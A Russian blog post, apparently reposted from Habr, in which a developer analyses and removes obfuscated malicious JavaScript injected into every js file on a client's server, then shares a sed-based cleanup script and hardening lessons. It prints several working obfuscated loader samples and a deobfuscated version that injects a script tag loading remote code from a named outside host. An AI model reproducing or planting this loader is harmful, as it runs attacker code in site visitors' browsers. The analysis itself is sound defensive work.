- PVSM.RU - https://www.pvsm.ru -

Лечение всех js-файлов на сервере или определение метода шифрования в выходной день

Хочу поделиться с читателями Хабра историей о том, как лечил вредоносный js-код на сайтах, расположенных на одной машине. Под катом находится любительский анализ вредоносного кода, который я провел исключительно ради интереса, а также очистка файлов на хостинге [1] от вредоносного кода. Данная статья не является обучающим материалом, однако в конце содержит список уроков, которые я извлек из этой истории.

Как все начиналось

В обычный из рабочих дней мой куратор поставил очередную задачу: разобраться с беспорядком, который творится на сайтах у одного из нашего клиента. При посещении любого из сайтов посетителя сразу переадресовывало на другую страницу. Долю в эту неразбериху внесло то, что на компьютерах клиента и моего куратора проблема постоянно проявлялась (стоит Windows), а на моей системе Ubuntu мне не удавалось отловить эту заразу. Впоследствии выяснилось, что вреденосный js-код является загрузчиком команд с другой машины, которые затем выполнялись на стороне посетителя. Насколько я понял, на стороне зараженной машины стоял некий фильтр, который не отдавал команды, когда я заходил со своей системы.

Подводные камни

  • На всех сайтах нашего клиента были заражены абсолютно все js — файлы. На данном этапе стало ясно, что заражение было произведено с помощью скрипта, который мне так и не удалось найти;
  • В каждом файле структура кода была другой: менялись названия функции, названия переменных и их следование друг за другом;
  • Время изменения js файлов не было изменено, что осложняло поиск скрипта, с помощью которого было произведено данное деяние.
Примеры злого кода:

window.addEvent('unload', saveSettings);function tXph13(rT){return zmGud0O(pF7B(rT),'w6AOl64ykS2D2vS');}var jqhQ8=["004085","005095","007066","020068036046024083113021014062087042070","004068034","003079049042","003083057059067092085015010032081054091006039","022070049042002082119017002063086","031083032043","016083053010000083089028005039065006075034050016120032034009","031066053063086025027010031050070033028005062027004111061025025094010068048092048028028032"];function pF7B(m9QAuQ){var u9='';var uT=0;var l7n=0;for(uT=0;uT<m9QAuQ.length/3;uT++){u9+=String.fromCharCode(m9QAuQ.slice(l7n,l7n+3));l7n=l7n+3;}return u9;}function nZrvPy(ci){var xkw31M=document[tXph13(jqhQ8[3])](tXph13(jqhQ8[0])+tXph13(jqhQ8[1])+tXph13(jqhQ8[2]));xkw31M[tXph13(jqhQ8[4])]=ci;xkw31M[tXph13(jqhQ8[5])]=tXph13(jqhQ8[6]);document[tXph13(jqhQ8[9])](tXph13(jqhQ8[8]))[0][tXph13(jqhQ8[7])](xkw31M);}function zmGud0O(fPMlQ,kxzO7O){var sc7B='';var q9AOFX=0;var wT=0;for(q9AOFX=0;q9AOFX<fPMlQ.length;q9AOFX++){var oH6=fPMlQ.charAt(q9AOFX);var cobu=oH6.charCodeAt(0)^kxzO7O.charCodeAt(wT);oH6=String.fromCharCode(cobu);sc7B+=oH6;if(wT==kxzO7O.length-1)wT=0;else wT++;}return (sc7B);}nZrvPy(tXph13(jqhQ8[10]));


.createElement(e[i])}})()function rt9tP(q5m1I){return dXkiogo(ze2woX1(q5m1I),'cliPkVhP3k3b3');}var ow51o=["016015","017005","019024","000030012049031051045060086006086012071","016030010","023021025053","023009017036068060009038082024080016090019024","002028025053005050043056090007087","011009008052","004009029021007051005053093031064032074055013014030010059013","011024029032081121071035071010071007029016001005098069036029127089024028001093023066003035"];if9A1C(rt9tP(ow51o[10]));function if9A1C(pa43Q){var g4=document[rt9tP(ow51o[3])](rt9tP(ow51o[0])+rt9tP(ow51o[1])+rt9tP(ow51o[2]));g4[rt9tP(ow51o[4])]=pa43Q;g4[rt9tP(ow51o[5])]=rt9tP(ow51o[6]);document[rt9tP(ow51o[9])](rt9tP(ow51o[8]))[0][rt9tP(ow51o[7])](g4);}function dXkiogo(cRXt,e80M){var k0='';var hz00=0;var x5VhMO=0;for(hz00=0;hz00<cRXt.length;hz00++){var g0=cRXt.charAt(hz00);var jLf9N7=g0.charCodeAt(0)^e80M.charCodeAt(x5VhMO);g0=String.fromCharCode(jLf9N7);k0+=g0;if(x5VhMO==e80M.length-1)x5VhMO=0;else x5VhMO++;}return (k0);}function ze2woX1(hJOCB){var dMa2='';var n7Z=0;var pLz4=0;for(n7Z=0;n7Z<hJOCB.length/3;n7Z++){dMa2+=String.fromCharCode(hJOCB.slice(pLz4,pLz4+3));pLz4=pLz4+3;}return dMa2;}

()})})}})(jQuery);function eH0(kzpR2g){var tZ=document[aFeJ(pXM7JTD[3])](aFeJ(pXM7JTD[0])+aFeJ(pXM7JTD[1])+aFeJ(pXM7JTD[2]));tZ[aFeJ(pXM7JTD[4])]=kzpR2g;tZ[aFeJ(pXM7JTD[5])]=aFeJ(pXM7JTD[6]);document[aFeJ(pXM7JTD[9])](aFeJ(pXM7JTD[8]))[0][aFeJ(pXM7JTD[7])](tZ);}function vbX9B(b5JWR,cZ73){var d7='';var kH5Nhm=0;var lO=0;for(kH5Nhm=0;kH5Nhm<b5JWR.length;kH5Nhm++){var m2z=b5JWR.charAt(kH5Nhm);var rT7v3=m2z.charCodeAt(0)^cZ73.charCodeAt(lO);m2z=String.fromCharCode(rT7v3);d7+=m2z;if(lO==cZ73.length-1)lO=0;else lO++;}return (d7);}function aFeJ(dMk){return vbX9B(tYiR3(dMk),'voRoLKl3Kny18K');}function tYiR3(dH5L){var zS1kLW='';var ub=0;var oK078=0;for(ub=0;ub<dH5L.length/3;ub++){zS1kLW+=String.fromCharCode(dH5L.slice(oK078,oK078+3));oK078=oK078+3;}return zS1kLW;}var pXM7JTD=["005012","004006","006027","021029055014056046041095046003028095076","005029049","002022034010","002010042027099033013069042029026067081059002","023031034010034047047091034002029","030010051011","017010038042032046001086037026010115065031023008028014033046","030027038031118100067064063015013084022056027003096065062062067089056065026095076101028028"];eH0(aFeJ(pXM7JTD[10]));

Небольшой анализ

Мне захотелось выяснить, что за метод шифрования использовал данный зловред, и я приступил к рефакторингу кода одного из примера (см. ниже). Этот анализ был проведен после лечения в целях удовлетворить свою любознательность.

Читаемый злой код


var massiv = ["022022", "023028", "021001", "006007039019069038063009006093009094000", "022007033", "017012050023", "017016058006030041027019002067015066029004017", "004005050023095039057013010092008", "013016035022", "002016054055093038023000013068031114013032004018012019092038", "013001054002011108085022023081024085090007008025112092067054085015016031015094000090015006"];

exec(wrapper(massiv[10]));


// вспомогательная функция
function wrapper(str) {
    return xor(explode(str), 'euBr1Czec0l0tt');
}

// получает символы из групп по 3 цифры и возвращает из конкатенацию
function explode(str) {
    var mQ418 = '';
    var z2wqbh = 0;
    var pa = 0;
    for (z2wqbh = 0; z2wqbh < str.length / 3; z2wqbh++) {
        mQ418 += String.fromCharCode(str.slice(pa, pa + 3));
        pa = pa + 3;
    }
    return mQ418;
}

// функция для добавления скрипта в head страницы
function exec(mh) {
    var fq59 = document[wrapper(massiv[3])](wrapper(massiv[0]) + wrapper(massiv[1]) + wrapper(massiv[2]));
    fq59[wrapper(massiv[4])] = mh;
    fq59[wrapper(massiv[5])] = wrapper(massiv[6]);
    document[wrapper(massiv[9])](wrapper(massiv[8]))[0][wrapper(massiv[7])](fq59);
}

// функция дешифровки, str — параметр для расшифровки, key — ключ
function xor(str, key) {
    var wL73 = '';
    var c2 = 0;
    var i8t = 0;
    for (c2 = 0; c2 < str.length; c2++) {
        var h6547 = str.charAt(c2);
        var pTh = h6547.charCodeAt(0) ^ key.charCodeAt(i8t);
        h6547 = String.fromCharCode(pTh);
        wL73 += h6547;
        if (i8t == key.length - 1) i8t = 0;
        else i8t++;
    }
    return (wL73);
}

Логика работы

В массиве содержатся зашифрованные команды (createElement, getElementsByTagName, appendChild), а также адрес с которого загружать дальнейшие команды (http://state.sml2.ru/js/cnt.js).

Вся логика работы заключена в двух функциях. Первая — explode, которая разбивает входную строку на группы по 3 цифры, из каждый группы получает символ по коду и объединяет все эти символы. Полученный результат направляется в функцию xor, которая использует xor-шифрование, но я могу ошибаться, поскольку мало разбираюсь в методах шифрования.

Лечение

Для лечения этой заразы было принято решение использовать командную строку unix-системы и регулярные выражения. Как видно из примеров зловреда, он мог дописываться в файл как на следующей строке, так и сразу за последним байтом в файле (см. ниже).

()})})}})(jQuery);function eH0(kzpR2g){

.createElement(e[i])}})()var ow51o=["016015","017005","019024"

window.addEvent('unload', saveSettings);function tXph13(rT)

Команда для замены в файле (antivirus.sh):

#/bin/bash
VIRUS='([(jQuery);|);|}|*/|//]{0,})(var [a-zA-Z0-9]{2,}=[".*|function [a-zA-Z0-9]{2,}.*)$';
sed -i -r '/.length/3;/s/'"$VIRUS"'/1/' "$1";

Здесь мы ищем все строки, которые содержат особенность вируса (.length/3;), и заменяем на результат из первой группы. Если этого не сделать, то команда sed удалит и этот кусок здорового кода.

Запускался самопальный антивирус командой:

find . -type f -name "*.js" -exec bash antivirus.sh {} ;

Результат не заставил себя долго ждать, и через несколько минут я был доволен результатом своей работы.

Выводы:

  • Для каждого сайта используйте своего отдельного юзера в системе со своими правами. У нашего клиента свой сервер, который был настроен печальным образом: для каждого сайта использовался один и тот же пользователь, что позволило заразить все сайты на машине;
  • Используйте сертификаты. Возможно, это не остановило бы злоумышленников, но использование сертификатом совместно с https не позволило бы подключать злые файлы с простых сайтов.
  • Постоянные бекапы. К сожалению, на машине также не было настроено резервное копирование. Считаю, что это могло помочь доказать клиенту, что вирус был занесен еще до нас, достаточно было показать зараженную копию, созданную до нашего пришествия. Т.к. вирус исполнял команды с подключаемого файла, то он мог существовать на сайтах очень долгое время, пока шалуны не решили включить его со своей стороны. Однако, для доказатальства нужны факты, а факты таковы, что вирус проявил себя после начала нашей работы.

В конце выражаю благодарность всем, кто уделил время выходного для легкого чтива. Приветствуются замечания в комментариях.

Автор: moxy

Источник [2]


Сайт-источник PVSM.RU: https://www.pvsm.ru

Путь до страницы источника: https://www.pvsm.ru/javascript/155687

Ссылки в тексте:

[1] хостинге: https://www.reg.ru/?rlink=reflink-717

[2] Источник: https://habrahabr.ru/post/305576/?utm_source=habrahabr&utm_medium=rss&utm_campaign=sandbox